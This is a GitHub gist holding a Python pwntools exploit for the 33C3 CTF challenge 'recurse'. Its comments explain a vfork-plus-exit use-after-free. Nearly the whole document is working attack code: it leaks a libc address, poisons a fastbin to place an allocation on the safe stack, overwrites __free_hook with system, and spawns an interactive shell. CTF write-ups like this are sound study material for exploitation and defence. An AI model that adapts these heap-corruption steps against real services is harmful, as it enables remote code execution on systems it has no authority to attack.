Skip to content

Instantly share code, notes, and snippets.

@sroettger
Last active March 21, 2019 20:16
Show Gist options
  • Star 9 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save sroettger/213035751689677c6533c9e45fe1a909 to your computer and use it in GitHub Desktop.
Save sroettger/213035751689677c6533c9e45fe1a909 to your computer and use it in GitHub Desktop.
33c3 recurse exploit
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# The main idea of the challenge was that you can trigger a vfork() + exit()
# which vfork's man page warns you about. Vforked processes shares memory
# with their parents, so calling exit can lead to memory corruption since it
# will call global destructors of the binary.
# In this case, there was a global c++ object with a string member variable.
# The destructor will free that string and turn it into a use-after-free. To
# make it a bit more interesting, there's nothing on the heap except for the
# string contents and heap metadata. Oh, and I compiled it with clang's
# safe-stack option which will keep separate stacks for data and return
# addresses. The upside is, that the offset between data stack and libc are
# deterministic and a leak of the latter will be enough for our exploit.
from pwn import *
import struct
LOCAL = False
GDB = False
LTRACE = False
GDB_SCRIPT = '''
#set follow-fork-mode parent
#break __libc_message
#break system
c
'''
context.update(arch='x86_64', os='linux', terminal = ['gnome-terminal', '-e'])
if LOCAL:
BINARY = ['./recurse']
if GDB:
r = process(BINARY)
gdb.attach(r, GDB_SCRIPT)
else:
if LTRACE:
stderr_fd = open('ltrace.out', 'w')
r = process(['strace', '-f'] + BINARY, stderr = stderr_fd)
else:
r = process(BINARY)
HOST = 'localhost'
else:
HOST = '127.0.0.1'
PORT = 15000
r = remote(HOST, PORT)
def enter(name = 'AAAA'):
r.readuntil('iterate')
r.sendline('2')
r.readuntil('name?')
r.sendline(name)
def leave():
r.readuntil('iterate')
r.sendline('6')
def trigger_uaf():
# work around some bug in pwntools' process() tube
enter('A'*(4095*34 - 61))
for i in range(33):
r.readn(4095)
r.readuntil('iterate')
r.sendline('3')
leave()
if LOCAL:
MSB = '\x7f'
libc_leak_off = 0x398b38
free_hook = 0x39a768
system = 0x3eeb0
else:
MSB = '\x2b'
libc_leak_off = 0x3bdb58
free_hook = 0x3bf788
system = 0x43f40
# Methods
# 1) call Run() again
# 2) create new challenge object
# 3) new process
# 4) iterate (no new name)
# 5+ leave
# this could be 400 bytes from the start, I'm just too lazy to change the
# offsets further down
r.readuntil('name?')
r.sendline('A'*16)
r.readuntil('iterate')
r.sendline('1')
r.readuntil('name?')
r.sendline('A'*400)
# this pushes string objects onto the stack that have the length set to 0x51
# we'll need this later to fake a fast bin element
for i in range(20):
enter('X'*0x51)
for i in range(20):
leave()
# the first challenge object is a global variable. The bug is that option 3)
# will call vfork(); execve(); err()
# you're not allowed to exit() from inside a vfork'ed process as you share the
# memory with the main process and exit calls the destructors.. and err() does
# call exit internally. If you can make execve() fail, the global challenge
# object will be free'd. And we can easily make it fail by passing a very big
# argv[1] (140k bytes)
trigger_uaf()
# Our buffer that got free'd will be re-used by the next allocations. We need
# to allocate a chunk too big for the fast bin so that we get a pointer to the
# libc
iter_cnt = 8
for i in range(iter_cnt):
enter('A'*48)
enter('C'*128)
for i in range(iter_cnt+1):
leave()
leak = r.readuntil('iterate')
leak_off = leak.find(MSB)-5
assert leak_off >= 0
libc = struct.unpack('<Q', leak[leak_off:leak_off+8])[0] - libc_leak_off
# this will point to a few bytes above where the last string object will be
# allocated on the stack, making the string object overwrite itself
safestack = libc - 0x3d8 - 0x30
if not LOCAL:
safestack += 0x2bc4000
print('libc: 0x{:x}'.format(libc))
print('alloc at: 0x{:x}'.format(safestack))
# this conveniently overwrites a fd pointer in the fast bin
r.sendline('1')
r.readuntil('name?')
r.sendline(flat(safestack))
# spam some small allocations to make it easier to find our target
enter('D'*9)
enter('D'*9)
enter('D'*9)
enter('D'*9)
enter('X'*15)
enter('C'*81)
# use up the chunks in the 0x50 fast bin
for i in range(7):
enter('X'*48)
# the next 0x50 allocation will land on the stack at the safestack address
# we need to pass the size check, that's why we spammed the 0x51 byte to the
# stack in the beginning
# prepare some more fake heap metadata to survive free'ing the fake allocation
enter(flat(0x30)+chr(0x30))
enter(flat(0x30)+chr(0x30))
enter(flat(0x60))
enter(flat(0x21))
# this will create a 0x50 allocation that ends up on the stack
enter('F'*40 + chr(0xa0))
# it will overwrite it's own pointer's least significant byte with a 0xa0
# we can only use 0x10 aligned values since free will complain later otherwise
# also it needs to point to something that looks like a valid heap chunk
# a bit further down the stack fulfills those requirements and we can use it
# to overwrite the pointer of the string a few stack frames above
# write the address of the __free_hook onto the stack and use it to overwrite
# the pointer of yet another string. With that string we can finally write to
# the free hook. Minus some extra space for /bin/sh
r.readuntil('iterate')
r.sendline('1')
r.readuntil('name?')
r.sendline(flat(libc+free_hook-8)*5 + flat(0x30))
leave()
leave()
leave()
leave()
# the last write writes to the free_hook. One more leave and it will free our
# controlled string which just passes it to system
r.readuntil('Hi, ')
r.sendline('1')
r.sendline('sh;#'.ljust(8, 'A') + flat(libc+system))
r.sendline('8')
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment